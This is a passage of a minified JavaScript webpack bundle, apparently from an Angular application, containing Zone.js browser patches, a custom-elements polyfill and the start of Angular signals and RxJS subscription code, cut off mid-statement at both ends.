i=te[n];i||(Je(n),i=te[n]);const o=e[i[ce]],c=e[i[ie]];return o?c?o.concat(c):o.slice():c?c.slice():[]}function _t(e,n){const i=e.Event;i&&i.prototype&&n.patchMethod(i.prototype,"stopImmediatePropagation",o=>function(c,a){c[$e]=!0,o&&o.apply(c,a)})}function Et(e,n,i,o,c){const a=Zone.__symbol__(o);if(n[a])return;const y=n[a]=n[o];n[o]=function(d,b,v){return b&&b.prototype&&c.forEach(function(p){const M=`${i}.${o}::`+p,O=b.prototype;try{if(O.hasOwnProperty(p)){const N=e.ObjectGetOwnPropertyDescriptor(O,p);N&&N.value?(N.value=e.wrapWithCurrentZone(N.value,M),e._redefineProperty(b.prototype,p,N)):O[p]&&(O[p]=e.wrapWithCurrentZone(O[p],M))}else O[p]&&(O[p]=e.wrapWithCurrentZone(O[p],M))}catch{}}),y.call(n,d,b,v)},e.attachOriginToPatched(n[o],y)}function Qe(e,n,i){if(!i||0===i.length)return n;const o=i.filter(a=>a.target===e);if(!o||0===o.length)return n;const c=o[0].ignoreProperties;return n.filter(a=>-1===c.indexOf(a))}function et(e,n,i,o){e&&qe(e,Qe(e,n,i),o)}function He(e){return Object.getOwnPropertyNames(e).filter(n=>n.startsWith("on")&&n.length>2).map(n=>n.substring(2))}Zone.__load_patch("util",(e,n,i)=>{const o=He(e);i.patchOnProperties=qe,i.patchMethod=ae,i.bindArguments=Le,i.patchMacroTask=lt;const c=n.__symbol__("BLACK_LISTED_EVENTS"),a=n.__symbol__("UNPATCHED_EVENTS");e[a]&&(e[c]=e[a]),e[c]&&(n[c]=n[a]=e[c]),i.patchEventPrototype=_t,i.patchEventTarget=dt,i.isIEOrEdge=ft,i.ObjectDefineProperty=pe,i.ObjectGetOwnPropertyDescriptor=ue,i.ObjectCreate=Se,i.ArraySlice=it,i.patchClass=ge,i.wrapWithCurrentZone=Ie,i.filterProperties=Qe,i.attachOriginToPatched=le,i._redefineProperty=Object.defineProperty,i.patchCallbacks=Et,i.getGlobalObjects=()=>({globalSources:ze,zoneSymbolEventNames:te,eventNames:o,isBrowser:Ae,isMix:Be,isNode:Pe,TRUE_STR:ie,FALSE_STR:ce,ZONE_SYMBOL_PREFIX:me,ADD_EVENT_LISTENER_STR:Ze,REMOVE_EVENT_LISTENER_STR:De})});const Re=j("zoneTask");function Te(e,n,i,o){let c=null,a=null;i+=o;const y={};function d(v){const p=v.data;return p.args[0]=function(){return v.invoke.apply(this,arguments)},p.handleId=c.apply(e,p.args),v}function b(v){return a.call(e,v.data.handleId)}c=ae(e,n+=o,v=>function(p,M){if("function"==typeof M[0]){const O={isPeriodic:"Interval"===o,delay:"Timeout"===o||"Interval"===o?M[1]||0:void 0,args:M},N=M[0];M[0]=function(){try{return N.apply(this,arguments)}finally{O.isPeriodic||("number"==typeof O.handleId?delete y[O.handleId]:O.handleId&&(O.handleId[Re]=null))}};const B=Me(n,M[0],O,d,b);if(!B)return B;const H=B.data.handleId;return"number"==typeof H?y[H]=B:H&&(H[Re]=B),H&&H.ref&&H.unref&&"function"==typeof H.ref&&"function"==typeof H.unref&&(B.ref=H.ref.bind(H),B.unref=H.unref.bind(H)),"number"==typeof H||H?H:B}return v.apply(e,M)}),a=ae(e,i,v=>function(p,M){const O=M[0];let N;"number"==typeof O?N=y[O]:(N=O&&O[Re],N||(N=O)),N&&"string"==typeof N.type?"notScheduled"!==N.state&&(N.cancelFn&&N.data.isPeriodic||0===N.runCount)&&("number"==typeof O?delete y[O]:O&&(O[Re]=null),N.zone.cancelTask(N)):v.apply(e,M)})}Zone.__load_patch("legacy",e=>{const n=e[Zone.__symbol__("legacyPatch")];n&&n()}),Zone.__load_patch("timers",e=>{const n="set",i="clear";Te(e,n,i,"Timeout"),Te(e,n,i,"Interval"),Te(e,n,i,"Immediate")}),Zone.__load_patch("requestAnimationFrame",e=>{Te(e,"request","cancel","AnimationFrame"),Te(e,"mozRequest","mozCancel","AnimationFrame"),Te(e,"webkitRequest","webkitCancel","AnimationFrame")}),Zone.__load_patch("blocking",(e,n)=>{const i=["alert","prompt","confirm"];for(let o=0;o<i.length;o++)ae(e,i[o],(a,y,d)=>function(b,v){return n.current.run(a,e,v,d)})}),Zone.__load_patch("EventTarget",(e,n,i)=>{(function gt(e,n){n.patchEventPrototype(e,n)})(e,i),function mt(e,n){if(Zone[n.symbol("patchEventTarget")])return;const{eventNames:i,zoneSymbolEventNames:o,TRUE_STR:c,FALSE_STR:a,ZONE_SYMBOL_PREFIX:y}=n.getGlobalObjects();for(let b=0;b<i.length;b++){const v=i[b],O=y+(v+a),N=y+(v+c);o[v]={},o[v][a]=O,o[v][c]=N}const d=e.EventTarget;d&&d.prototype&&n.patchEventTarget(e,n,[d&&d.prototype])}(e,i);const o=e.XMLHttpRequestEventTarget;o&&o.prototype&&i.patchEventTarget(e,i,[o.prototype])}),Zone.__load_patch("MutationObserver",(e,n,i)=>{ge("MutationObserver"),ge("WebKitMutationObserver")}),Zone.__load_patch("IntersectionObserver",(e,n,i)=>{ge("IntersectionObserver")}),Zone.__load_patch("FileReader",(e,n,i)=>{ge("FileReader")}),Zone.__load_patch("on_property",(e,n,i)=>{!function Tt(e,n){if(Pe&&!Be||Zone[e.symbol("patchEvents")])return;const i=n.__Zone_ignore_on_properties;let o=[];if(Ae){const c=window;o=o.concat(["Document","SVGElement","Element","HTMLElement","HTMLBodyElement","HTMLMediaElement","HTMLFrameSetElement","HTMLFrameElement","HTMLIFrameElement","HTMLMarqueeElement","Worker"]);const a=function ut(){try{const e=_e.navigator.userAgent;if(-1!==e.indexOf("MSIE ")||-1!==e.indexOf("Trident/"))return!0}catch{}return!1}()?[{target:c,ignoreProperties:["error"]}]:[];et(c,He(c),i&&i.concat(a),ve(c))}o=o.concat(["XMLHttpRequest","XMLHttpRequestEventTarget","IDBIndex","IDBRequest","IDBOpenDBRequest","IDBDatabase","IDBTransaction","IDBCursor","WebSocket"]);for(let c=0;c<o.length;c++){const a=n[o[c]];a&&a.prototype&&et(a.prototype,He(a.prototype),i)}}(i,e)}),Zone.__load_patch("customElements",(e,n,i)=>{!function pt(e,n){const{isBrowser:i,isMix:o}=n.getGlobalObjects();(i||o)&&e.customElements&&"customElements"in e&&n.patchCallbacks(n,e.customElements,"customElements","define",["connectedCallback","disconnectedCallback","adoptedCallback","attributeChangedCallback"])}(e,i)}),Zone.__load_patch("XHR",(e,n)=>{!function b(v){const p=v.XMLHttpRequest;if(!p)return;const M=p.prototype;let N=M[Oe],B=M[Ne];if(!N){const h=v.XMLHttpRequestEventTarget;if(h){const I=h.prototype;N=I[Oe],B=I[Ne]}}const H="readystatechange",K="scheduled";function q(h){const I=h.data,P=I.target;P[a]=!1,P[d]=!1;const Q=P[c];N||(N=P[Oe],B=P[Ne]),Q&&B.call(P,H,Q);const oe=P[c]=()=>{if(P.readyState===P.DONE)if(!I.aborted&&P[a]&&h.state===K){const U=P[n.__symbol__("loadfalse")];if(0!==P.status&&U&&U.length>0){const re=h.invoke;h.invoke=function(){const ee=P[n.__symbol__("loadfalse")];for(let W=0;W<ee.length;W++)ee[W]===h&&ee.splice(W,1);!I.aborted&&h.state===K&&re.call(h)},U.push(h)}else h.invoke()}else!I.aborted&&!1===P[a]&&(P[d]=!0)};return N.call(P,H,oe),P[i]||(P[i]=h),E.apply(P,I.args),P[a]=!0,h}function R(){}function _(h){const I=h.data;return I.aborted=!0,G.apply(I.target,I.args)}const J=ae(M,"open",()=>function(h,I){return h[o]=0==I[2],h[y]=I[1],J.apply(h,I)}),X=j("fetchTaskAborting"),A=j("fetchTaskScheduling"),E=ae(M,"send",()=>function(h,I){if(!0===n.current[A]||h[o])return E.apply(h,I);{const P={target:h,url:h[y],isPeriodic:!1,args:I,aborted:!1},Q=Me("XMLHttpRequest.send",R,P,q,_);h&&!0===h[d]&&!P.aborted&&Q.state===K&&Q.invoke()}}),G=ae(M,"abort",()=>function(h,I){const P=function O(h){return h[i]}(h);if(P&&"string"==typeof P.type){if(null==P.cancelFn||P.data&&P.data.aborted)return;P.zone.cancelTask(P)}else if(!0===n.current[X])return G.apply(h,I)})}(e);const i=j("xhrTask"),o=j("xhrSync"),c=j("xhrListener"),a=j("xhrScheduled"),y=j("xhrURL"),d=j("xhrErrorBeforeScheduled")}),Zone.__load_patch("geolocation",e=>{e.navigator&&e.navigator.geolocation&&function at(e,n){const i=e.constructor.name;for(let o=0;o<n.length;o++){const c=n[o],a=e[c];if(a){if(!Ve(ue(e,c)))continue;e[c]=(d=>{const b=function(){return d.apply(this,Le(arguments,i+"."+c))};return le(b,d),b})(a)}}}(e.navigator.geolocation,["getCurrentPosition","watchPosition"])}),Zone.__load_patch("PromiseRejectionEvent",(e,n)=>{function i(o){return function(c){Ke(e,o).forEach(y=>{const d=e.PromiseRejectionEvent;if(d){const b=new d(o,{promise:c.promise,reason:c.rejection});y.invoke(b)}})}}e.PromiseRejectionEvent&&(n[j("unhandledPromiseRejectionHandler")]=i("unhandledrejection"),n[j("rejectionHandledHandler")]=i("rejectionhandled"))}),Zone.__load_patch("queueMicrotask",(e,n,i)=>{!function yt(e,n){n.patchMethod(e,"queueMicrotask",i=>function(o,c){Zone.current.scheduleMicroTask("queueMicrotask",c[0])})}(e,i)})}},ue=>{ue(ue.s=332)}]);!function(m,w){"use strict";function rt(){var e=K.splice(0,K.length);for(ie=0;e.length;)e.shift().call(null,e.shift())}function me(e,t){for(var n=0,r=e.length;n<r;n++)Te(e[n],t)}function fe(e){return function(t){Lt(t)&&(Te(t,e),L.length&&me(t.querySelectorAll(L),e))}}function de(e){var t=le.call(e,"is"),n=e.nodeName.toUpperCase(),r=v.call(D,t?Y+t.toUpperCase():x+n);return t&&-1<r&&!De(n,t)?-1:r}function De(e,t){return-1<L.indexOf(e+'[is="'+t+'"]')}function Ie(e){var t=e.currentTarget,n=e.attrChange,r=e.attrName,o=e.target,l=e[W]||2,a=e[He]||3;!ce||o&&o!==t||!t[y]||"style"===r||e.prevValue===e.newValue&&(""!==e.newValue||n!==l&&n!==a)||t[y](r,n===l?null:e.prevValue,n===a?null:e.newValue)}function Fe(e){var t=fe(e);return function(n){K.push(t,n.target),ie&&clearTimeout(ie),ie=setTimeout(rt,1)}}function pe(e){nt&&(nt=!1,e.currentTarget.removeEventListener(Ze,pe)),L.length&&me((e.target||u).querySelectorAll(L),e.detail===E?E:b),R&&function at(){for(var e,t=0,n=G.length;t<n;t++)V.contains(e=G[t])||(n--,G.splice(t--,1),Te(e,E))}()}function lt(e,t){var n=this;Ye.call(n,e,t),Me.call(n,{target:n})}function Se(e,t,n){var r=t.apply(e,n),o=de(r);return-1<o&&U(r,q[o]),n.pop()&&L.length&&function ot(e){for(var t,n=0,r=e.length;n<r;n++)U(t=e[n],q[de(t)])}(r.querySelectorAll(L)),r}function he(e,t){Tt(e,t),$?$.observe(e,gt):(ue&&(e.setAttribute=lt,e[H]=Ee(e),e[g](st,Me)),e[g](N,Ie)),e[k]&&ce&&(e.created=!0,e[k](),e.created=!1)}function Ve(e){throw new Error("A "+e+" type is already registered")}function Te(e,t){var n,r,o=de(e);-1<o&&!Mt.call(e,"TEMPLATE")&&(Q(e,q[o]),o=0,t!==b||e[b]?t!==E||e[E]||(e[b]=!1,e[E]=!0,r="disconnected",o=1):(e[E]=!1,e[b]=!0,r="connected",o=1,R&&v.call(G,e)<0&&G.push(e)),o&&(n=e[t+O]||e[r+O])&&n.call(e))}function z(){}function Pe(e,t,n){var r=n&&n[_]||"",o=t.prototype,l=Ce(o),a=t.observedAttributes||ye,s={prototype:l};oe(l,k,{value:function(){if(te)te=!1;else if(!this[B]){this[B]=!0,new t(this),o[k]&&o[k].call(this);var i=j[ne.get(t)];(!Z||i.create.length>1)&&_e(this)}}}),oe(l,y,{value:function(i){-1<v.call(a,i)&&o[y]&&o[y].apply(this,arguments)}}),o[qe]&&oe(l,ut,{value:o[qe]}),o[Be]&&oe(l,ct,{value:o[Be]}),r&&(s[_]=r),e=e.toUpperCase(),j[e]={constructor:t,create:r?[r,re(e)]:[e]},ne.set(t,e),u[S](e.toLowerCase(),s),Le(e),P[e].r()}function Re(e){var t=j[e.toUpperCase()];return t&&t.constructor}function Ue(e){return"string"==typeof e?e:e&&e.is||""}function _e(e){for(var t,n=e[y],r=n?e.attributes:ye,o=r.length;o--;)n.call(e,(t=r[o]).name||t.nodeName,null,t.value||t.nodeValue)}function Le(e){return(e=e.toUpperCase())in P||(P[e]={},P[e].p=new Xe(function(t){P[e].r=t})),P[e].p}function ke(){C&&delete m.customElements,I(m,"customElements",{configurable:!0,value:new z}),I(m,"CustomElementRegistry",{configurable:!0,value:z});for(var e=it.get(/^HTML[A-Z]*[a-z]/),t=e.length;t--;function(n){var r=m[n];if(r){m[n]=function(o){var l,a;return o||(o=this),o[B]||(te=!0,l=j[ne.get(o.constructor)],(o=(a=Z&&1===l.create.length)?Reflect.construct(r,ye,l.constructor):u.createElement.apply(u,l.create))[B]=!0,te=!1,a||_e(o)),o},m[n].prototype=r.prototype;try{r.prototype.constructor=m[n]}catch{I(r,B,{value:m[n]})}}}(e[t]));u.createElement=function(n,r){var o=Ue(r);return o?Ae.call(this,n,re(o)):Ae.call(this,n)},et||(Oe=!0,u[S](""))}var u=m.document,T=m.Object,it=function(e){var t,n,r,o,l=/^[A-Z]+[a-z]/,s=function(d,f){(f=f.toLowerCase())in i||(i[d]=(i[d]||[]).concat(f),i[f]=i[f.toUpperCase()]=d)},i=(T.create||T)(null),c={};for(n in e)for(o in e[n])for(i[o]=r=e[n][o],t=0;t<r.length;t++)i[r[t].toLowerCase()]=i[r[t].toUpperCase()]=o;return c.get=function(d){return"string"==typeof d?i[d]||(l.test(d)?[]:""):function(d){var f,h=[];for(f in i)d.test(f)&&h.push(f);return h}(d)},c.set=function(d,f){return l.test(d)?s(d,f):s(f,d),c},c}({collections:{HTMLAllCollection:["all"],HTMLCollection:["forms"],HTMLFormControlsCollection:["elements"],HTMLOptionsCollection:["options"]},elements:{Element:["element"],HTMLAnchorElement:["a"],HTMLAppletElement:["applet"],HTMLAreaElement:["area"],HTMLAttachmentElement:["attachment"],HTMLAudioElement:["audio"],HTMLBRElement:["br"],HTMLBaseElement:["base"],HTMLBodyElement:["body"],HTMLButtonElement:["button"],HTMLCanvasElement:["canvas"],HTMLContentElement:["content"],HTMLDListElement:["dl"],HTMLDataElement:["data"],HTMLDataListElement:["datalist"],HTMLDetailsElement:["details"],HTMLDialogElement:["dialog"],HTMLDirectoryElement:["dir"],HTMLDivElement:["div"],HTMLDocument:["document"],HTMLElement:["element","abbr","address","article","aside","b","bdi","bdo","cite","code","command","dd","dfn","dt","em","figcaption","figure","footer","header","i","kbd","mark","nav","noscript","rp","rt","ruby","s","samp","section","small","strong","sub","summary","sup","u","var","wbr"],HTMLEmbedElement:["embed"],HTMLFieldSetElement:["fieldset"],HTMLFontElement:["font"],HTMLFormElement:["form"],HTMLFrameElement:["frame"],HTMLFrameSetElement:["frameset"],HTMLHRElement:["hr"],HTMLHeadElement:["head"],HTMLHeadingElement:["h1","h2","h3","h4","h5","h6"],HTMLHtmlElement:["html"],HTMLIFrameElement:["iframe"],HTMLImageElement:["img"],HTMLInputElement:["input"],HTMLKeygenElement:["keygen"],HTMLLIElement:["li"],HTMLLabelElement:["label"],HTMLLegendElement:["legend"],HTMLLinkElement:["link"],HTMLMapElement:["map"],HTMLMarqueeElement:["marquee"],HTMLMediaElement:["media"],HTMLMenuElement:["menu"],HTMLMenuItemElement:["menuitem"],HTMLMetaElement:["meta"],HTMLMeterElement:["meter"],HTMLModElement:["del","ins"],HTMLOListElement:["ol"],HTMLObjectElement:["object"],HTMLOptGroupElement:["optgroup"],HTMLOptionElement:["option"],HTMLOutputElement:["output"],HTMLParagraphElement:["p"],HTMLParamElement:["param"],HTMLPictureElement:["picture"],HTMLPreElement:["pre"],HTMLProgressElement:["progress"],HTMLQuoteElement:["blockquote","q","quote"],HTMLScriptElement:["script"],HTMLSelectElement:["select"],HTMLShadowElement:["shadow"],HTMLSlotElement:["slot"],HTMLSourceElement:["source"],HTMLSpanElement:["span"],HTMLStyleElement:["style"],HTMLTableCaptionElement:["caption"],HTMLTableCellElement:["td","th"],HTMLTableColElement:["col","colgroup"],HTMLTableElement:["table"],HTMLTableRowElement:["tr"],HTMLTableSectionElement:["thead","tbody","tfoot"],HTMLTemplateElement:["template"],HTMLTextAreaElement:["textarea"],HTMLTimeElement:["time"],HTMLTitleElement:["title"],HTMLTrackElement:["track"],HTMLUListElement:["ul"],HTMLUnknownElement:["unknown","vhgroupv","vkeygen"],HTMLVideoElement:["video"]},nodes:{Attr:["node"],Audio:["audio"],CDATASection:["node"],CharacterData:["node"],Comment:["#comment"],Document:["#document"],DocumentFragment:["#document-fragment"],DocumentType:["node"],HTMLDocument:["#document"],Image:["img"],Option:["option"],ProcessingInstruction:["node"],ShadowRoot:["#shadow-root"],Text:["#text"],XMLDocument:["xml"]}});"object"!=typeof w&&(w={type:w||"auto"});var K,Me,X,Ee,$,ve,Q,U,A,e,t,n,r,o,S="registerElement",xe=1e5*m.Math.random()>>0,H="__"+S+xe,g="addEventListener",b="attached",O="Callback",E="detached",_="extends",y="attributeChanged"+O,ut=b+O,qe="connected"+O,Be="disconnected"+O,k="created"+O,ct=E+O,W="ADDITION",He="REMOVAL",N="DOMAttrModified",Ze="DOMContentLoaded",st="DOMSubtreeModified",x="<",Y="=",mt=/^[A-Z][._A-Z0-9]*-[-._A-Z0-9]*$/,ft=["ANNOTATION-XML","COLOR-PROFILE","FONT-FACE","FONT-FACE-SRC","FONT-FACE-URI","FONT-FACE-FORMAT","FONT-FACE-NAME","MISSING-GLYPH"],D=[],q=[],L="",V=u.documentElement,v=D.indexOf||function(e){for(var t=this.length;t--&&this[t]!==e;);return t},ge=T.prototype,be=ge.hasOwnProperty,J=ge.isPrototypeOf,I=T.defineProperty,ye=[],ee=T.getOwnPropertyDescriptor,je=T.getOwnPropertyNames,dt=T.getPrototypeOf,Ge=T.setPrototypeOf,ze=!!T.__proto__,B="__dreCEv1",C=m.customElements,Z=!/^force/.test(w.type)&&!!(C&&C.define&&C.get&&C.whenDefined),Ke=T.create||T,ht=m.Map||function(){var e,t=[],n=[];return{get:function(r){return n[v.call(t,r)]},set:function(r,o){(e=v.call(t,r))<0?n[t.push(r)-1]=o:n[e]=o}}},Xe=m.Promise||function(e){function t(l){for(r=!0;n.length;)n.shift()(l)}var n=[],r=!1,o={catch:function(){return o},then:function(l){return n.push(l),r&&setTimeout(t,1),o}};return e(t),o},te=!1,j=Ke(null),P=Ke(null),ne=new ht,re=function(e){return e.toLowerCase()},Ce=T.create||function e(t){return t?(e.prototype=t,new e):this},Tt=Ge||(ze?function(e,t){return e.__proto__=t,e}:je&&ee?function(){function e(t,n){for(var r,o=je(n),l=0,a=o.length;l<a;l++)be.call(t,r=o[l])||I(t,r,ee(n,r))}return function(t,n){do{e(t,n)}while((n=dt(n))&&!J.call(n,t));return t}}():function(e,t){for(var n in t)e[n]=t[n];return e}),F=m.MutationObserver||m.WebKitMutationObserver,$e=m.HTMLAnchorElement,p=(m.HTMLElement||m.Element||m.Node).prototype,R=!J.call(p,V),oe=R?function(e,t,n){return e[t]=n.value,e}:I,Lt=R?function(e){return 1===e.nodeType}:function(e){return J.call(p,e)},G=R&&[],Qe=p.attachShadow,We=p.cloneNode,Mt=p.closest||function(e){for(var t=this;t&&t.nodeName!==e;)t=t.parentNode;return t},we=p.dispatchEvent,le=p.getAttribute,Et=p.hasAttribute,vt=p.removeAttribute,Ye=p.setAttribute,ae=u.createElement,Ht=u.importNode,Ae=ae,gt=F&&{attributes:!0,characterData:!0,attributeOldValue:!0},Je=F||function(e){ue=!1,V.removeEventListener(N,Je)},ie=0,et=S in u&&!/^force-all/.test(w.type),tt=!0,Oe=!1,ue=!0,nt=!0,ce=!0;if(F&&((A=u.createElement("div")).innerHTML="<div><div></div></div>",new F(function(e,t){if(e[0]&&"childList"==e[0].type&&!e[0].removedNodes[0].childNodes.length){var n=(A=ee(p,"innerHTML"))&&A.set;n&&I(p,"innerHTML",{set:function(r){for(;this.lastChild;)this.removeChild(this.lastChild);n.call(this,r)}})}t.disconnect(),A=null}).observe(A,{childList:!0,subtree:!0}),A.innerHTML=""),et||(Ge||ze?(Q=function(e,t){J.call(t,e)||he(e,t)},U=he):(Q=function(e,t){e[H]||(e[H]=T(!0),he(e,t))},U=Q),R?(ue=!1,e=ee(p,g),t=e.value,n=function(l){var a=new CustomEvent(N,{bubbles:!0});a.attrName=l,a.prevValue=le.call(this,l),a.newValue=null,a[He]=a.attrChange=2,vt.call(this,l),we.call(this,a)},r=function(l,a){var s=Et.call(this,l),i=s&&le.call(this,l),c=new CustomEvent(N,{bubbles:!0});Ye.call(this,l,a),c.attrName=l,c.prevValue=s?i:null,c.newValue=a,s?c.MODIFICATION=c.attrChange=1:c[W]=c.attrChange=0,we.call(this,c)},o=function(l){var a,s=l.currentTarget,i=s[H],c=l.propertyName;i.hasOwnProperty(c)&&(i=i[c],(a=new CustomEvent(N,{bubbles:!0})).attrName=i.name,a.prevValue=i.value||null,a.newValue=i.value=s[c]||null,null==a.prevValue?a[W]=a.attrChange=0:a.MODIFICATION=a.attrChange=1,we.call(s,a))},e.value=function(l,a,s){l===N&&this[y]&&this.setAttribute!==r&&(this[H]={className:{name:"class",value:this.className}},this.setAttribute=r,this.removeAttribute=n,t.call(this,"propertychange",o)),t.call(this,l,a,s)},I(p,g,e)):F||(V[g](N,Je),V.setAttribute(H,1),V.removeAttribute(H),ue&&(Me=function(e){var t,n,r,o=this;if(o===e.target){for(r in t=o[H],o[H]=n=Ee(o),n){if(!(r in t))return X(0,o,r,t[r],n[r],W);if(n[r]!==t[r])return X(1,o,r,t[r],n[r],"MODIFICATION")}for(r in t)if(!(r in n))return X(2,o,r,t[r],n[r],He)}},X=function(e,t,n,r,o,l){var a={attrChange:e,currentTarget:t,attrName:n,prevValue:r,newValue:o};a[l]=e,Ie(a)},Ee=function(e){for(var t,n,r={},o=e.attributes,l=0,a=o.length;l<a;l++)"setAttribute"!==(n=(t=o[l]).name)&&(r[n]=t.value);return r})),u[S]=function(e,t){if(n=e.toUpperCase(),tt&&(tt=!1,F?($=function(i,c){function d(f,h){for(var M=0,se=f.length;M<se;h(f[M++]));}return new F(function(f){for(var h,M,se,Ne=0,bt=f.length;Ne<bt;Ne++)"childList"===(h=f[Ne]).type?(d(h.addedNodes,i),d(h.removedNodes,c)):(M=h.target,ce&&M[y]&&"style"!==h.attributeName&&(se=le.call(M,h.attributeName))!==h.oldValue&&M[y](h.attributeName,h.oldValue,se))})}(fe(b),fe(E)),(ve=function(i){return $.observe(i,{childList:!0,subtree:!0}),i})(u),Qe&&(p.attachShadow=function(){return ve(Qe.apply(this,arguments))})):(K=[],u[g]("DOMNodeInserted",Fe(b)),u[g]("DOMNodeRemoved",Fe(E))),u[g](Ze,pe),u[g]("readystatechange",pe),u.importNode=function(i,c){switch(i.nodeType){case 1:return Se(u,Ht,[i,!!c]);case 11:for(var d=u.createDocumentFragment(),f=i.childNodes,h=f.length,M=0;M<h;M++)d.appendChild(u.importNode(f[M],!!c));return d;default:return We.call(i,!!c)}},p.cloneNode=function(i){return Se(this,We,[!!i])}),Oe)return Oe=!1;if(-2<v.call(D,Y+n)+v.call(D,x+n)&&Ve(e),!mt.test(n)||-1<v.call(ft,n))throw new Error("The type "+e+" is invalid");var n,r,o=function(){return a?u.createElement(s,n):u.createElement(s)},l=t||ge,a=be.call(l,_),s=a?t[_].toUpperCase():n;return a&&-1<v.call(D,x+s)&&Ve(s),r=D.push((a?Y:x)+n)-1,L=L.concat(L.length?",":"",a?s+'[is="'+e.toLowerCase()+'"]':s),o.prototype=q[r]=be.call(l,"prototype")?l.prototype:Ce(p),L.length&&me(u.querySelectorAll(L),b),o},u.createElement=Ae=function(e,t){var n=Ue(t),r=n?ae.call(u,e,re(n)):ae.call(u,e),o=""+e,l=v.call(D,(n?Y:x)+(n||o).toUpperCase()),a=-1<l;return n&&(r.setAttribute("is",n=n.toLowerCase()),a&&(a=De(o.toUpperCase(),n))),ce=!u.createElement.innerHTMLHelper,a&&U(r,q[l]),r}),addEventListener("beforeunload",function(){delete u.createElement,delete u.importNode,delete u[S]},!1),z.prototype={constructor:z,define:Z?function(e,t,n){if(n)Pe(e,t,n);else{var r=e.toUpperCase();j[r]={constructor:t,create:[r]},ne.set(t,r),C.define(e,t)}}:Pe,get:Z?function(e){return C.get(e)||Re(e)}:Re,whenDefined:Z?function(e){return Xe.race([C.whenDefined(e),Le(e)])}:Le},!C||/^force/.test(w.type))ke();else if(!w.noBuiltIn)try{!function(e,t,n){var r=new RegExp("^<a\\s+is=('|\")"+n+"\\1></a>$");if(t[_]="a",(e.prototype=Ce($e.prototype)).constructor=e,m.customElements.define(n,e,t),!r.test(u.createElement("a",{is:n}).outerHTML)||!r.test((new e).outerHTML))throw t}(function e(){return Reflect.construct($e,[],e)},{},"document-register-element-a"+xe)}catch{ke()}if(!w.noBuiltIn)try{if(ae.call(u,"a","a").outerHTML.indexOf("is")<0)throw{}}catch{re=function(t){return{is:t.toLowerCase()}}}}(window);"use strict";(self.webpackJsonpSnapCE=self.webpackJsonpSnapCE||[]).push([[179],{363:()=>{let me=null,Dr=1;function de(e){const t=me;return me=e,t}function vh(e){if((!No(e)||e.dirty)&&(e.dirty||e.lastCleanEpoch!==Dr)){if(!e.producerMustRecompute(e)&&!Al(e))return e.dirty=!1,void(e.lastCleanEpoch=Dr);e.producerRecomputeValue(e),e.dirty=!1,e.lastCleanEpoch=Dr}}function Al(e){Er(e);for(let t=0;t<e.producerNode.length;t++){const n=e.producerNode[t],r=e.producerLastReadVersion[t];if(r!==n.version||(vh(n),r!==n.version))return!0}return!1}function Ji(e,t){if(function bh(e){e.liveConsumerNode??=[],e.liveConsumerIndexOfThis??=[]}(e),Er(e),1===e.liveConsumerNode.length)for(let r=0;r<e.producerNode.length;r++)Ji(e.producerNode[r],e.producerIndexOfThis[r]);const n=e.liveConsumerNode.length-1;if(e.liveConsumerNode[t]=e.liveConsumerNode[n],e.liveConsumerIndexOfThis[t]=e.liveConsumerIndexOfThis[n],e.liveConsumerNode.length--,e.liveConsumerIndexOfThis.length--,t<e.liveConsumerNode.length){const r=e.liveConsumerIndexOfThis[t],o=e.liveConsumerNode[t];Er(o),o.producerIndexOfThis[r]=t}}function No(e){return e.consumerIsAlwaysLive||(e?.liveConsumerNode?.length??0)>0}function Er(e){e.producerNode??=[],e.producerIndexOfThis??=[],e.producerLastReadVersion??=[]}let Sh=null;function ye(e){return"function"==typeof e}function Nh(e){const n=e(r=>{Error.call(r),r.stack=(new Error).stack});return n.prototype=Object.create(Error.prototype),n.prototype.constructor=n,n}const Ol=Nh(e=>function(n){e(this),this.message=n?`${n.length} errors occurred during unsubscription:\n${n.map((r,o)=>`${o+1}) ${r.toString()}`).join("\n ")}`:"",this.name="UnsubscriptionError",this.errors=n});function xl(e,t){if(e){const n=e.indexOf(t);0<=n&&e.splice(n,1)}}class Ft{constructor(t){this.initialTeardown=t,this.closed=!1,this._parentage=null,this._finalizers=null}unsubscribe(){let t;if(!this.closed){this.closed=!0;const{_parentage:n}=this;if(n)if(this._parentage=null,Array.isArray(n))for(const i of n)i.remove(this);else n.remove(this);const{initialTeardown:r}=this;if(ye(r))try{r()}catch(i){t=i instanceof Ol?i.errors:[i]}const{_finalizers:o}=this;if(o){this._finalizers=null;for(const i of o)try{Rh(i)}catch(s){t=t??[],s instanceof Ol?t=[...t,...s.errors]:t.push(s)}}if(t)throw new Ol(t)}}add(t){var n;if(t&&t!==this)if(this.closed)Rh(t);else{if(t instanceof Ft){if(t.closed||t._hasParent(this))return;t._addParent(this)}(this._finalizers=null!==(n=this._finalizers)&&void 0!==n?n:[]).push(t)}}_hasParent(t){const{_parentage:n}=this;return n===t||Array.isArray(n)&&n.includes(t)}_addParent(t){const{_parentage:n}=this;this._parentage=Array.isArray(n)?(n.push(t),n):n?[n,t]:t}_removeParent(t){const{_parentage:n}=this;n===t?this._parentage=null:Array.isArray(n)&&xl(n,t)}remove(t){const{_finalizers:n}=this;n&&xl(n,t),t instanceof Ft&&t._removeParent(this)}}Ft.EMPTY=(()=>{const e=new Ft;return e.closed=!0,e})();const Ah=Ft.EMPTY;function Ph(e){return e instanceof Ft||e&&"closed"in e&&ye(e.remove)&&ye(e.add)&&ye(e.unsubscribe)}function Rh(e){ye(e)?e():e.unsubscribe()}const Un={onUnhandledError:null,onStoppedNotification:null,Promise:void 0,useDeprecatedSynchronousErrorHandling:!1,useDeprecatedNextContext:!1},es={setTimeout(e,t,...n){const{delegate:r}=es;return r?.setTimeout?r.setTimeout(e,t,...n):setTimeout(e,t,...n)},clearTimeout(e){const{delegate:t}=es;return(t?.clearTimeout||clearTimeout)(e)},delegate:void 0};function Oh(e){es.setTimeout(()=>{const{onUnhandledError:t}=Un;if(!t)throw e;t(e)})}function xh(){}const TC=Fl("C",void 0,void 0);function Fl(e,t,n){return{kind:e,value:t,error:n}}let zn=null;function ts(e){if(Un.useDeprecatedSynchronousErrorHandling){const t=!zn;if(t&&(zn={errorThrown:!1,error:null}),e(),t){const{errorThrown:n,error:r}=zn;if(zn=null,n)throw r}}else e()}class kl extends Ft{constructor(t){super(),this.isStopped=!1,t?(this.destination=t,Ph(t)&&t.add(this)):this.destination=xC}static create(t,n,r){return new Ao(t,n,r)}next(t){this.isStopped?jl(function NC(e){return Fl("N",e,void 0)}(t),this):this._next(t)}error(t){this.isStopped?jl(function MC(e){return Fl("E",void 